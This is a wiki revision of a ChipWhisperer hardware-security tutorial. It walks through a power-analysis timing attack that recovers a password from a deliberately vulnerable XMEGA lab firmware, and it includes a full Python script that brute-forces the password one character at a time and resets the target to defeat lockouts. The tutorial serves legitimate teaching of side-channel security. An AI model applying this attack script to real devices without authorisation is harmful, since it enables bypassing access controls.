27,371 bytes added,
22:25, 17 September 2017 {{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}
{{Infobox tutorial
|name = B3-1 Timing Analysis with Power for Password Bypass
|image =
|caption =
|software versions =
|capture hardware = CW-Lite, CW-Lite 2-Part, CW-Pro
|Target Device =
|Target Architecture = XMEGA
|Hardware Crypto = No
|Purchase Hardware =
}}
This tutorial will introduce you to breaking devices by determining when a device is performing certain operations. It will use a simple password check, and demonstrate how to perform a basic power analysis.
In addition this example shows you how to drive the ChipWhisperer software with a script, rather than using the GUI. This will be required when attacking new devices which you have not yet added to the core ChipWhisperer software.
Note this is not a prerequisite to the tutorial on breaking AES. You can skip this tutorial if you wish to go ahead with the AES tutorial.
You can also view a 53-min [https://www.youtube.com/watch?v=h4eAU6vEONs&hd=1 Video Version on YouTube]:
= Prerequisites =
You should have already completed [[Tutorial B2 Viewing Instruction Power Differences]] to gain a better understanding of the ChipWhisperer interface.
= Building the Target Firmware =
The target firmware is located in the directory <code>chipwhisperer\hardware\victims\firmware\basic-passwdcheck</code>. Build the firmware using <code>make</code>, once again being careful to ensure you are using the correct <code>PLATFORM=</code> command. You should end up with something like this being printed:
<pre>Creating Symbol Table: basic-passwdcheck.sym
avr-nm -n basic-passwdcheck.elf > basic-passwdcheck.sym
Size after:
AVR Memory Usage
----------------
Device: atxmega128d3
Program: 5400 bytes (3.9% Full)
(.text + .data + .bootloader)
Data: 524 bytes (6.4% Full)
(.data + .bss + .noinit)
Built for platform CW-Lite XMEGA
-------- end --------</pre>
= Manual Communications with the Target =
At this point, you should be able to configure the target as in the previous tutorials. Rather than tediously going through the setup process again, we'll simply use one of the scripts built into the ChipWhisperer-Capture software. This will demonstrate how we can use a script as a starting point to simplify our setup.
<ol style="list-style-type: decimal;">
<li>Connect your target hardware (ChipWhisperer-Lite/Pro or ChipWhisperer-Capture Rev 2 with target board).</li>
<li>Open the ChipWhisperer-Capture software.</li>
<li>From the ''Example Scripts'', select one which most closely matches your hardware. For example here I'm using a ChipWhisperer-Lite with the XMEGA target, so will select the "ChipWhisperer-Lite: AES SimpleSerial on XMEGA" script. Note I'm ''NOT'' attacking AES, so will need to make some adjustments later. (The "Timing Attack on CW-Lite (XMEGA)" script already does most of this for us, so using it would defeat the purpose of this tutorial.)</li>
<li>The system should connect to your hardware. Remember you have not yet reprogrammed the target so won't be communicating with the target program.</li>
<li>Using the programming tool (such as XMEGA programming dialog), program the file <code>basic-passwdcheck.hex</code> into the target device. This file is located where you ran <code>make</code> previously.</li>
<li><p>Select ''Tools --> Terminal'', and press ''Connect''. You should see a window such as this:</p>
<blockquote><p>[[File:Termconn.png|image]]</p></blockquote></li>
<li><p>At this point we need to reset the target device. The easiest way to do this is use the programmer interface, and press the ''Check Signature'' or ''Read Signature'' button. This will reset the target device as part of the signature read operation. You should see some messages come across the terminal emulator window:</p>
<blockquote><p>[[File:Checksig_print.png|image]]</p></blockquote>
<dl>
<dt>Note a few warnings about the terminal emulator:</dt>
<dd><ul>
<li>The on-board buffer is fairly small, and can be easily overflowed. You may notice a few longer lines become trunicated if printing is too fast!</li>
<li>You can uncheck the "Show non-ASCII as hex" to avoid having the <code>0a</code> printed in red. The <code>0a</code> is the hex character for a newline. Many protocols use non-ASCII characters, so to help with debugging it is left enabled by default.</li></ul>
</dd></dl>
</li>
<li><p>We've now got some super-secure system! Let's begin with some exploratory tests - in this case I happened to know the correct password is <code>h0px3</code>.</p>
<blockquote><p>'''tip'''</p>
<p>In real systems, you may often know ''one'' of the passwords, which is sufficient to investigate the password checking routines as we will do. You also normally have an ability to reset passwords to default. While the reset procedure would erase any data you care about, the attacker will be able to use this 'sacrificial' device to learn about possible vulnerabilites. So the assumption that we have access to the password is really just saying we have access to ''a'' password, and will use that knowledge to break the system in general.</p></blockquote></li>
<li><p>Using the terminal emulator, write the correct password in, and press <code><enter></code>. You should be greeted by a welcome message, and if using the CW-Lite XMEGA target the green LED will illuminate:</p>
<p>[[File:Passok.png|image]]</p></li>
<li>The system enters an infinite loop for any password entry. Thus you must reset the system, use the ''Programmer Window'' to again perform a ''Check Signature'' or ''Read Signature'' operation.</li>
<li>Enter an incorrect password - notice a different message is printed, and if using the CW-Lite XMEGA target the red LED will come on.</li></ol>
= Recording Power Traces =
Now that we can communicate with our super-secure system, our next goal is to get a power trace while the target is running. To do this, we'll get the power measurements to trigger after we send our password to the target.
<ol style="list-style-type: decimal;">
<li><p>We'll make some changes to the trigger setup of the ChipWhisperer (on the ''Scope Settings'' tab). In particular, ensure you set the following:</p>
<blockquote><ul>
<li>Offset = 0</li>
<li>Timeout set to 5 seconds or greater (to give yourself time when manually testing)</li></ul>
<p>[[File:Timeout_offset.png|image]]</p></blockquote></li>
<li><p>Change to the ''Target Settings'' tab, and delete the ''Command'' strings. Those strings are used in the AES attack to send a specific command to the target device. For now we will be manually sending data:</p>
<blockquote><p>[[File:Text_targetsettings.png|image]]</p></blockquote></li>
<li>Still in the ''Target Settings'' tab, under ''Protocol Version'', change ''Version'' from ''Auto'' to ''1.0''
<li><p>Perform the following actions:</p>
<blockquote><ol style="list-style-type: lower-roman;">
<li>Reset the target device (e.g. by performing the signature check).</li>
<li>Enter the password <code>h0px3</code> in the terminal window, but ''do not'' yet hit enter.</li>
<li>Press the ''Capture 1'' button, and immediately switch to the terminal emulator window and press <code><enter></code> to send the password.</li></ol>
</blockquote>
<p>You must send the password before the timeout occurs -- you can increase the length of the timeout if needed to give yourself more time! If this works you should see the power consumption displayed in the GUI:</p>
<blockquote><p>[[File:Trace_manual_pass.png|image]]</p></blockquote></li>
<li><p>Rather than using the manual terminal, let's now use the GUI to automatically send a password try. Switching back to the ''Target Settings'' tab, write <code>h0px3\n</code> into the ''Go Command'' option:</p>
<blockquote><p>[[File:Gocorrect.png|image]]</p></blockquote>
<p>The ''Go Command'' is sent right after the scope is armed. In this example it means we can capture the power consumption during the password entry phase.</p></li>
<li><p>Now perform the following actions:</p>
<blockquote><ol style="list-style-type: lower-roman;">
<li>Reset the target device (e.g. by performing the signature check).</li>
<li>Press the ''Capture 1'' button.</li></ol>
</blockquote>
<p>Hopefully this resulted in the same waveform as before! Note the device takes around 1 second to 'boot', so if you are too lightning fast after resetting the device it won't actually be ready to accept the password. You can keep the terminal emulator window open to view the output data.</p></li>
<li><p>Play around with the password entered on the ''Go Command'' - try all of the following:</p>
<ul>
<li><code>h0px3\n</code></li>
<li><code>h0px4\n</code></li>
<li><code>h0paa\n</code></li>
<li><code>haaaa\n</code></li>
<li><code>a\n</code></li></ul>
<p>You should notice a distinct change in the password depending how many characters were correct. For example the following shows the difference between passwords of <code>h0px4</code> (which has 4 correct characters) and <code>h0paa</code> (which has 3 correct characters):</p>
<blockquote><p>[[File:3vs4.png|image]]</p></blockquote></li></ol>
= Automatic Resets =
The last step before scripting an entire attack is to figure out how to automatically reset the target device before (or after) each capture. There are two ways to do this, and the following steps take you through two examples of how to accomplish this goal.
== Reset via Spare IO Lines ==
TODO - see reset via programming interface for now
== Reset via Auxiliary Module ==
Auxiliary modules are small pieces of code that can perform some extra functions during the capture process. The functions inside these Python modules are run before a capture, before the power measurement is armed, before the measurement is triggered, after a single trace is completed, and after an entire capture is finished. We will use an existing auxiliary module to reset the target chip before arming the measurement so that we don't have to manually reset the device.
<ol style="list-style-type: decimal;">
<li> We're going to use the ''Reset AVR/XMEGA via CW-Lite'' auxiliary module. Let's get an idea of how this module works:
* Navigate to the auxiliary modules folder (<code>chipwhisperer\software\chipwhisperer\capture\auxiliary\</code>) and open <code>ResetCW1183Read.py</code> in your choice of text editor.
* Find the function definition for <code>resetDevice()</code>. It contains a line that looks like:
<pre>
CWCoreAPI.getInstance().getScope().scopetype.cwliteXMEGA.readSignature()
</pre>
* Look for the lines where this function gets called. You'll find that the function <code>traceArm()</code> uses it like:
<pre>
resettiming = self.findParam('resettiming').value()
if resettiming == 'Pre-Arm':
self.resetDevice()
</pre>
Effectively, this code will read the target's signature before we arm the power measurement. This means that the target will automatically be reset before capturing a power trace.
</li>
<li> Go back to the ChipWhisperer Capture software. In the ''Generic Settings'' tab, switch the Auxiliary Module to ''Reset AVR/XMEGA via CW-Lite''.
</li>
<li> Now, in the ''Aux Settings'' tab, we can configure our automatic reset. Make sure the settings are:
* Pre-arm delay: roughly 1200 ms
* Post-arm delay: the default (0 ms) is fine
* Reset timing: Pre-arm (reset the device before we arm the scope)
</li>
<li> Press ''Capture 1''. The target will automatically reset, with the Safe-o-matic 3000 boot sequence appearing in the console. Then, 1 second later, the program will send the password to the target and record a power trace.
</li>
</ol>
Now, confirm that you can try different passwords (in ''Target Settings'') and see how the power trace changes when your password has 0, 1, 2... correct characters.
= Performing the Timing Attack =
So far, we've set up our ChipWhisperer to automatically reset the target, send it a password attempt of our choice, and record a power trace while the target processes the password. Now, we'll write a Python script to automatically try different passwords and use these power traces to discover the password stored on the target.
== Scripting the Setup ==
Our first step will be to write a script that automatically sets up the ChipWhisperer Capture software with all of the settings we've tested above. We'll do this by modifying an existing script with our own settings.
<ol style="list-style-type: decimal;">
<li>Make a copy of an existing ChipWhisperer script. The example scripts are located at <code>chipwhisperer\software\chipwhisperer\capture\scripts</code>; for example, the default one for the XMEGA device is called <code>cwlite-simpleserialxmega.py</code>. Make a copy of this script and put it somewhere memorable.
</li>
<li><p>Rename the script something else - for example, <code>cwlite-passwordcrack.py</code> - and open it for editing. You'll notice that a large chunk of the code is used to set the parameters:</p>
<pre>#Example of using a list to set parameters. Slightly easier to copy/paste in this format
lstexample = [['CW Extra', 'CW Extra Settings', 'Trigger Pins', 'Target IO4 (Trigger Line)', True],
['CW Extra', 'CW Extra Settings', 'Target IOn Pins', 'Target IO1', 'Serial RXD'],
['CW Extra', 'CW Extra Settings', 'Target IOn Pins', 'Target IO2', 'Serial TXD'],
['OpenADC', 'Clock Setup', 'CLKGEN Settings', 'Desired Frequency', 7370000.0],
['CW Extra', 'CW Extra Settings', 'Target HS IO-Out', 'CLKGEN'],
['OpenADC', 'Clock Setup', 'ADC Clock', 'Source', 'CLKGEN x4 via DCM'],
['OpenADC', 'Trigger Setup', 'Total Samples', 3000],
['OpenADC', 'Trigger Setup', 'Offset', 1500],
['OpenADC', 'Gain Setting', 'Setting', 45],
['OpenADC', 'Trigger Setup', 'Mode', 'rising edge'],
#Final step: make DCMs relock in case they are lost
['OpenADC', 'Clock Setup', 'ADC Clock', 'Reset ADC DCM', None],
]</pre>
<p>Those parameters come from the ''Scripting Parameters'' tab. Switch over to it and notice this tab logs all of the parameter changes, showing you how to change the parameters through the API:</p>
<blockquote><p>[[File:Scriptcommands.png|image]]</p></blockquote>
<p>Note that commands run via the script are also printed, so you can see where the values being set are coming from too. </p>
</li>
<li><p>At this point, close the ''ChipWhisperer-Capture'' window so we can confirm the script still works. Run the new script (which doesn't have any changes yet) from the command line. You may have to open a console with Python in the path:</p>
<blockquote><ol style="list-style-type: lower-roman;">
<li>If you installed WinPython, run the ''WinPython Console'' from your WinPython installation directory.</li>
<li>If using the VMWare image of a Linux machine, this should just be a regular console</li></ol>
</blockquote></li></ol>
<blockquote>Run the script with <code>python cwlite-passwordcrack.py</code>. If the script errors out, it might be that the location of the FPGA bitstream is stored in relative terms. To fix this perform the following:
<blockquote><ol style="list-style-type: lower-roman;">
<li>Open ChipWhisperer-Capture regularly.</li>
<li>Run the ChipWhisperer script that you used previously.</li>
<li>Select ''Tools-->Config CW Firmware''</li>
<li>Under the "FPGA .zip (Release)", hit the "Find" button. Point the system to the file <code>chipwhisperer/hardware/capture/chipwhisperer-lite/cwlite_firmware.zip</code> on your filesystem. Note by default there is a relative path.</li></ol>
</blockquote></blockquote>
<ol start="4" style="list-style-type: decimal;">
<li>Once again on the ''Target Settings'' tab, delete the various commands. Make a note of the resulting ''Script Commands'' which you will need to enter to achieve this same goal. Close ChipWhisperer-Capture.</li>
<li><p>Continue editing your script. First, find the line setting the Trigger Offset:</p>
<pre>['OpenADC', 'Trigger Setup', 'Offset', 1500],</pre>
<p>And set this to 0, which we were using previously:</p>
<pre>['OpenADC', 'Trigger Setup', 'Offset', 0],</pre></li>
<li><p>Next, append the required commands to clear the simpleserial commands and to enable the automatic resets:</p>
<pre>#Example of using a list to set parameters. Slightly easier to copy/paste in this format
lstexample = [['CW Extra', 'CW Extra Settings', 'Trigger Pins', 'Target IO4 (Trigger Line)', True],
...BUNCH MORE COMMANDS HERE HAVE BEEN REMOVED...
#Final step: make DCMs relock in case they are lost
['OpenADC', 'Clock Setup', 'ADC Clock', 'Reset ADC DCM', None],
#Append your commands here
['Simple Serial', 'Load Key Command', u''],
['Simple Serial', 'Go Command', u''],
['Simple Serial', 'Output Format', u''],
['Generic Settings', 'Auxiliary Module', 'Reset AVR/XMEGA via CW-Lite'],
['Aux Settings', 'Reset AVR/XMEGA via CW-Lite', 'Delay (Post-Arm)', 1200],
]</pre></li>
<li><p>Finally, we will set the password. You can enter the password in the Capture ''Target Settings'' tab, and see the following sort of call would set the appropriate password:</p>
<pre>self.api.setParameter(['Simple Serial', 'Go Command', u'h0px3\\n'])</pre>
<p>Note the newline is actually escaped, to set the text equivalent of what will be printed. This will result in an actual newline going out across the serial port. Set that command at some point in your script.</p>
<li>Close any open ChipWhisperer-Capture windows, and run the script as before. You should connect to the target, and be able to press ''Capture 1'' and see the correct waveform.</li>
</ol>
== Running a Single Capture ==
With our settings prepared, the next step is to use our script to record and analyze a power trace. We need to be able to get the trace data into our Python script so we can analyze it for the timing attack.
The API allows us to ''press the Capture 1'' button and ''view the power trace'' without using the GUI. There are two relevant commands here:
* <code> self.api.capture1()</code> acts as if we've just pressed the ''Capture 1'' button;
* <code> self.api.getScope().channels[0].getTrace()</code> returns a list of datapoints that were recorded in the previous capture.
We want to test these two commands. After the setup portion of your script, add some code similar to the following:
<pre>
self.api.capture1()
data = self.api.getScope().channels[0].getTrace()
print data
</pre>
Run your script. The ChipWhisperer should automatically capture one trace and print out the several thousand datapoints. (Note that output of <code>print</code> statements may go to the ''Debug Logging'' tab in the GUI.) This is all we need to continue.
== Attacking a Single Letter ==
Now that we can record one power trace, we can start the timing attack. Our goal here is to automatically find the first letter of the Super Secret (tm) password.
<li><p>Look at this example of the power traces when 0 and 1 bytes are correct. We can see a clear point that appears to shift forward in time:</p>
<blockquote><p>[[File:Passwordcrackerpts.png|image]]</p></blockquote>
<p>When we guess the first byte incorrectly, there is a distinct power spike at sample number 153. However, when we guess correctly, the target spends more time processing the password, and this spike moves 72 samples forward. This means that we can check if our first byte is correct by checking this data point: if we're right, it will have an amplitude greater than -0.2. Note the specific point will change for different hardware, and may also change if you use different versions of avr-gcc to compile the target code. The example code here was compiled with WinAVR 20100110, which has avr-gcc 4.3.3. If you view the video version of this tutorial the point numbers are different for example, so be sure to check what they are for your specific system.</p></li>
<li> Add a loop to your script that does the following:
* Sets the ''Go Command'' to the next character we want to try
* Captures a power trace
* Checks if sample 153 is above -0.2 (fill in the appropriate numbers here)
* Repeats for all characters we want to try
An example of this loop is:
<pre>
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'
for c in trylist:
# Test this password and record a power trace
self.api.setParameter(['Simple Serial', 'Go Command', c + '\n'])
self.api.capture1()
# Get the data and check data[153]
data = self.api.getScope().channels[0].getTrace()
if data[153] > -0.2:
print "Success: " + c
</pre>
This script will eventually stop, but you can use Ctrl+C on the command line to kill it. Make sure your script prints "Success: h"!
</li>
== Attacking the Full Password ==
The last step is to attack the entire password, one letter at a time. The procedure to do this is:
* Start with a blank password string
* Loop through all of the characters we want to try:
** Add the next character to the end of the password
** Test this new candidate password using code similar to the above
** If the new password is correct up to character (1, 2, ..., 5), add it to the end of the password
* Repeat until we've cracked all 5 characters.
Note that the point of interest is no longer at sample 153. We noticed earlier that this key point moves 72 samples forward for every correct character, so we'll have to check location <code>153</code> for character 0, <code>153 + 72</code> for character 1, and <code>153 + i*72</code> for character <code>i</code>.
An example of this loop is:
<pre>
password = ''
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'
for i in range(5):
for c in trylist:
# Get a power trace using our next attempt
nextPass = password + '{}'.format(c)
self.api.setParameter(['Simple Serial', 'Go Command', '{}\n'.format(nextPass)])
self.api.capture1()
# Grab the trace
nextTrace = self.api.getScope().channels[0].getTrace()
# Check location 153, 225, etc. If it's too low, we've failed
if nextTrace[153 + 72*i] < -0.2:
continue
# If we got here, we've found the right letter
password += c
print '{} characters: {}'.format(i+1, password)
break
</pre>
After some time, this prints <code>5 characters: h0px3</code> -- it automatically finds the correct password.
That's it! You should have successfully cracked a password using the timing attack. Some notes on this method:
* The target device has a finite start-up time, which slows down the attack. If you wish, remove some of the printf()'s from the target code, recompile and reprogram, and see how quickly you can do this attack.
* The current script doesn't look for the "WELCOME" message when the password is OK. That is an extension that allows it to crack any size password.
* If there was a lock-out on a wrong password, the system would ignore it, as it resets the target after every attempt.
= Conclusion =
This tutorial has demonstrated the use of the power side-channel for performing timing attacks. A target with a simple password-based security system is broken. In addition you have learned about the scripting support in the ChipWhisperer-Capture software.
= Appendix: Completed Timing Attack Script =
The <code>run()</code> function at the end of the tutorial might look something like the following:
<pre>
def run(self):
# This is the function that gets called when our script starts
# First: set up the basics and connect to the CW-Lite
self.api.setParameter(['Generic Settings', 'Scope Module', 'ChipWhisperer/OpenADC'])
self.api.setParameter(['Generic Settings', 'Target Module', 'Simple Serial'])
self.api.setParameter(['Generic Settings', 'Trace Format', 'ChipWhisperer/Native'])
self.api.setParameter(['Simple Serial', 'Connection', 'ChipWhisperer-Lite'])
self.api.setParameter(['ChipWhisperer/OpenADC', 'Connection', 'ChipWhisperer-Lite'])
self.api.connect()
# Next: set up everything we need to connect to the target
# Put all of our commands in a list and execute them at the end
lstexample = [
# Gain
['OpenADC', 'Gain Setting', 'Setting', 45],
# Trigger
['OpenADC', 'Trigger Setup', 'Mode', 'rising edge'],
['OpenADC', 'Trigger Setup', 'Offset', 0],
['OpenADC', 'Trigger Setup', 'Total Samples', 2000],
# Clock
['OpenADC', 'Clock Setup', 'CLKGEN Settings', 'Desired Frequency', 7370000.0],
['OpenADC', 'Clock Setup', 'ADC Clock', 'Source', 'CLKGEN x4 via DCM'],
['OpenADC', 'Clock Setup', 'ADC Clock', 'Reset ADC DCM', None],
# Pins
['CW Extra Settings', 'Trigger Pins', 'Target IO4 (Trigger Line)', True],
['CW Extra Settings', 'Target HS IO-Out', 'CLKGEN'],
['CW Extra Settings', 'Target IOn Pins', 'Target IO1', 'Serial RXD'],
['CW Extra Settings', 'Target IOn Pins', 'Target IO2', 'Serial TXD'],
# Automatic commands
['Simple Serial', 'Load Key Command', ''],
['Simple Serial', 'Go Command', 'h0px3\n'],
['Simple Serial', 'Output Format', ''],
# Auto-reset
['Generic Settings', 'Auxiliary Module', 'Reset AVR/XMEGA via CW-Lite'],
['Aux Settings', 'Reset AVR/XMEGA via CW-Lite', 'Delay (Post-Arm)', 1200],
]
#Download all hardware setup parameters
for cmd in lstexample:
self.api.setParameter(cmd)
# Get one capture for fun
self.api.capture1()
data = self.api.getScope().channels[0].getTrace()
print data
# Crack the first letter
password = ''
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'
for i in range(5):
for c in trylist:
# Get a power trace using our next attempt
nextPass = password + '{}'.format(c)
self.api.setParameter(['Simple Serial', 'Go Command', '{}\n'.format(nextPass)])
self.api.capture1()
# Grab the trace
nextTrace = self.api.getScope().channels[0].getTrace()
# Check location 153, 225, etc. If it's too low, we've failed
if nextTrace[153 + 72*i] < -0.2:
continue
# If we got here, we've found the right letter
password += c
print '{} characters: {}'.format(i+1, password)
break
</pre>
{{Template:Tutorials}}
[[Category:Tutorials]]